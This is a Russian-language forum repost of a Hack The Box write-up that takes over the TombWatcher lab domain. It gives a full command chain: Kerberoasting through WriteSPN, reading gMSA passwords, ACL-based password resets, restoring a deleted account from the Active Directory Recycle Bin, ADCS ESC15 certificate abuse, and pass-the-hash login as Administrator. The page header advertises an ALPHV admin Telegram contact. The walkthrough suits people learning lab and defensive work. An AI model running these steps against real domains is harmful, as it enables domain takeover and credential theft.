• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Повышаем привилегии через корзину Active Directory и ESC15 ADCS

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,400
Розыгрыши
0
Реакции
718
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я расскажу, как эксплуатировать цепочку разрешений DACL для продвижения в домене. Затем восстановим из корзины Active Directory удаленный объект и используем технику ADCS ESC15 для компрометации домена.
Наша цель — получение прав суперпользователя на машине TombWatcher с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень сложности — средний.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.72 tombwatcher.htb
Помимо IP-адреса машины, нам предоставляют учетные данные с правами пользователя домена.

Для просмотра ссылки Войди или Зарегистрируйся
Первым делом запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта
Сканер нашел 13 открытых портов:

  • 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
  • 88 — Kerberos;
  • 135 — Microsoft RPC;
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5985 — WinRM;
  • 9389 — веб‑службы AD DS.
Теперь проверим выданные учетные данные.

nxc smb 10.10.11.72 -u henry -p 'H3nry_987TGV!'
Результат проверки учетных данных

Точка входа​

У нас есть действующая учетная запись в домене, поэтому получим список пользователей. Иногда в описании учетных записей можно найти интересную информацию.

nxc smb 10.10.11.72 -u henry -p 'H3nry_987TGV!' --users
Список пользователей
Сохраняем список пользователей в файл на будущее, после чего собираем базу BloodHound.

Справка: BloodHound​

Утилита Для просмотра ссылки Войди или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для разных ОС и на разных языках программирования.
Для сбора базы BloodHound будем использовать Для просмотра ссылки Войди или Зарегистрируйся. Скомпилируем версию для Windows, загрузим на удаленный хост и запустим сканирование.

rusthound-ce -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' -i 10.10.11.72 -c All -z
Логи RustHound

Данные появятся очень быстро. Скачиваем итоговый архив и строим граф от пользователя henry.

Граф BloodHound

Теперь пройдем по всему пути для получения сессии пользователя john на сервере.


Продвижение​

Учетная запись henry имеет право WriteSPN на учетную запись alfred. Это право позволяет изменить значение атрибута servicePrincipalName и затем произвести атаку Kerberoasting. Записать рандомное значение в атрибут можно с помощью Для просмотра ссылки Войди или Зарегистрируйся.

info​

Подробнее о технике Kerberoasting читай в статье «Для просмотра ссылки Войди или Зарегистрируйся».
bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' set object 'ALFRED' servicePrincipalName -v 'test/DC01.tombwatcher.htb'
Запись в атрибут servicePrincipalName
Теперь с помощью NetExec проводим атаку Kerberoasting и получаем хеш пароля учетной записи alfred.

faketime -f '+4h' nxc ldap 10.10.11.72 -d 'tombwatcher.htb' -u henry -p 'H3nry_987TGV!' --kerberoasting out.txt
Результат Kerberoasting
Полученный хеш легко брутится утилитой hashcat. Так компрометируем учетную запись alfred.

hashcat -m 13100 hash.txt rockyou.txt
Результат подбора пароля

В соответствии с графом BloodHound учетная запись alfred имеет право AddSelf на группу INFRASTRUCTURE. Это право позволяет пользователю добавить себя в группу.

bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u alfred -p 'basketball' add groupMember INFRASTRUCTURE alfred
Результат добавления в группу

Члены группы INFRASTRUCTURE имеют право ReadGMSAPassword на учетную запись ansible_dev$.

Управляемые учетные записи (MSA) — это специальный тип учетных записей Active Directory, которые можно использовать для безопасного запуска служб, приложений и заданий планировщика.

Справка: MSA​

Основная идея MSA — в том, что паролем полностью управляет Active Directory. Для таких учеток автоматически генерируется сложный пароль длиной 240 символов, который меняется автоматически каждые 30 дней. Для аутентификации используется только Kerberos, так как интерактивный вход невозможен. Это связано с тем, что пароль не известен никому и не хранится в локальной системе, поэтому его нельзя извлечь из системного процесса LSASS с помощью Mimikatz.
Но и такими учетными записями нужно как‑то управлять, а это значит, что, если у нас есть к ним доступ, мы можем получить хеш пароля.

Делаем это при помощи bloodyAD.

bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u alfred -p 'basketball' get object 'ansible_dev$' --attr msDS-ManagedPassword
Получение хеша учетной записи ansible_dev$

Учетная запись ansible_dev$ имеет право ForceChangePassword на учетную запись sam. Как нетрудно догадаться, мы можем установить пользователю sam свой пароль.

bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u 'ansible_dev$' -p ':4b21348ca4a9edff9689cdf75cbda439' set password SAM 'P@ssword123'
Изменение пароля учетной записи

В свою очередь, учетная запись sam имеет право WriteOwner на учетную запись john. Это право позволяет установить объекту владельца, который затем может назначить на объект любые права. Используя bloodyAD, назначим себя владельцем учетной записи, а затем выдадим полные права на объект john.

bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u sam -p 'P@ssword123' set owner JOHN sam
Установка владельца

bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u sam -p 'P@ssword123' add genericAll JOHN sam
Назначение прав

Имея полные права на учетную запись john, можно установить свой пароль.

bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u sam -p 'P@ssword123' set password JOHN 'P@ssword123'
Изменение пароля учетной записи

Так как пользователь состоит в группе Remote Management Users, можно получить сессию через WinRM.

evil-winrm -i 10.10.11.72 -u john -p 'P@ssword123'
Флаг пользователя

Локальное повышение привилегий​

BloodHound ничего интересного не показывает, поэтому поищем права записи на другие объекты или их отдельные атрибуты с помощью bloodyAD.

bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u john -p 'P@ssword123' get writable --include-del
Права записи на объекты домена

Как видно по выводу утилиты, у нас есть права записи на три объекта cert_admin в контейнере Deleted Objects. В этом контейнере хранятся объекты из корзины Active Directory.


Корзина Active Directory​

Корзина Active Directory выполняет те же функции, что и обычная корзина на компьютере, но только для объектов домена (функция по умолчанию отключена). Когда объект домена удаляется, он не исчезает полностью, а помечается как «удаленный» и перемещается в скрытый контейнер на 180 дней до полного удаления. При этом у объекта сохраняются все свойства, такие как членство в группах, списки ACL, SID History.

Восстановить объект можно с помощью bloodyAD. Однако все три объекта имеют одинаковое имя, поэтому восстановлен будет первый из списка.

bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u john -p 'P@ssword123' set restore cert_admin
Восстановление учетной записи
После восстановления учетной записи ее необходимо активировать, а затем установить свой пароль.

bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u john -p 'P@ssword123' remove uac cert_admin -f ACCOUNTDISABLE
Активация учетной записи
bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u john -p 'P@ssword123' set password cert_admin 'P@ssword123'
Изменение пароля учетной записи

Судя по имени учетной записи, она должна иметь некоторые привилегии на центре сертификации. Для получения информации о центре сертификации и всех шаблонах сперва добавим в файл /etc/hosts имя центра сертификации.

10.10.11.72 tombwatcher.htb DC01.tombwatcher.htb tombwatcher-CA-1
После чего запрашиваем информацию о сертификатах с помощью утилиты Для просмотра ссылки Войди или Зарегистрируйся.

certipy find -u cert_admin -p 'P@ssword123' -dc-ip 10.10.11.72 -vulnerable -stdout
Однако ничего интересного не находим, поэтому проверим другие удаленные объекты. На этот раз будем восстанавливать объекты через PowerShell по определенному ID. Но перед восстановлением удалим текущий cert_admin.

Код:
bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u john -p 'P@ssword123' remove object cert_admin
Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf

Повторяем запрос информации о центре сертификации и шаблонах сертификатов и видим, что можно использовать технику ADCS ESC15 с шаблоном сертификата WebServer для повышения привилегий в домене.

Информация о шаблоне сертификата WebServer

ESC15 (Для просмотра ссылки Войди или Зарегистрируйся) позволяет атакующему внедрять произвольные политики приложения в сертификат, выданный на основе шаблона сертификата версии 1. Так, мы можем внедрить политику «Агент запроса сертификата (CRA)», после чего использовать полученный сертификат аналогично технике ESC3.

certipy req -u '[EMAIL]cert_admin@tombwatcher.htb[/EMAIL]' -p 'P@ssword123' -dc-ip '10.10.11.72' -ca 'tombwatcher-CA-1' -template 'WebServer' -application-policies 'Certificate Request Agent'
Запрос сертификата с политикой CRA
Теперь используем полученный CRA-сертификат для запроса сертификата по стандартному шаблону User, но на имя пользователя Administrator.

certipy req -u '[EMAIL]cert_admin@tombwatcher.htb[/EMAIL]' -p 'P@ssword123' -dc-ip '10.10.11.72' -ca 'tombwatcher-CA-1' -template 'User' -pfx 'cert_admin.pfx' -on-behalf-of 'tombwatcher\Administrator'
Запрос сертификата на имя администратора
По сертификату пользователя сперва получим его билет Kerberos, из которого извлечем NTLM-хеш пароля. Certipy делает это автоматически.

faketime -f '+4h' certipy auth -pfx 'administrator.pfx' -dc-ip '10.10.11.72'
Учетные данные администратора
С хешем администратора подключаемся по WinRM и получаем последний флаг.

evil-winrm -i 10.10.11.72 -u administrator -H f61db423bebe3328d33af26741afe5fc
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here